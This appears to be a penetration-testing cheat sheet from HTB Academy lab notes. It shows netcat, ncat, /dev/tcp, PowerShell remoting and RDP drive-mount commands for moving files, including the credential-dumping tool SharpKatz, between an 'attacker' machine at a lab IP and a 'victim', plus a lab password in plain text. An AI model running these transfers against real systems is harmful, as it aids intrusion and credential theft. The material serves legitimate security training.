Netcat / Ncat Victim machine listening on a port
terminal Copy
$ nc -l -p 8000 > SharpKatz.exe$ ncat -l -p 8000 --recv-only > SharpKatz.exeAttacker machine sends the file
terminal Copy
$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe$ ncat --send-only 192.168.49.128 8000 < SharpKatz.exeThe -q 0 option closes the connection once the file has been sent. The --send-only option ensures that Ncat terminates the connection when the input is exhausted
Scenario: attacker listening and victim connecting Attacker listening:
terminal Copy
$ sudo nc -l -p 443 -q 0 < SharpKatz.exe$ sudo ncat -l -p 443 --send-only < SharpKatz.exeVictim connecting:
terminal Copy
$ nc 192.168.49.128 443 > SharpKatz.exe$ ncat 192.168.49.128 443 --recv-only > SharpKatz.exeUsing /dev/tcp (victim) terminal Copy
$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exePowerShell Session Requirements: WinRM enabled, appropriate privileges, TCP/5985 (HTTP) or TCP/5986 (HTTPS) ports.
Verify WinRM connectivity powershell Copy
Test-NetConnection -ComputerName DATABASE01 -Port 5985powershell Copy
$Session = New-PSSession -ComputerName DATABASE01Transfer files with Copy-Item powershell Copy
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Sessionpowershell Copy
Get-PSSession
Remove-PSSession -Session $SessionRDP Mount a local resource with xfreerdp using the /drive flag
terminal Copy
$ xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransferOn the remote machine, access the resource through \tsclientlinux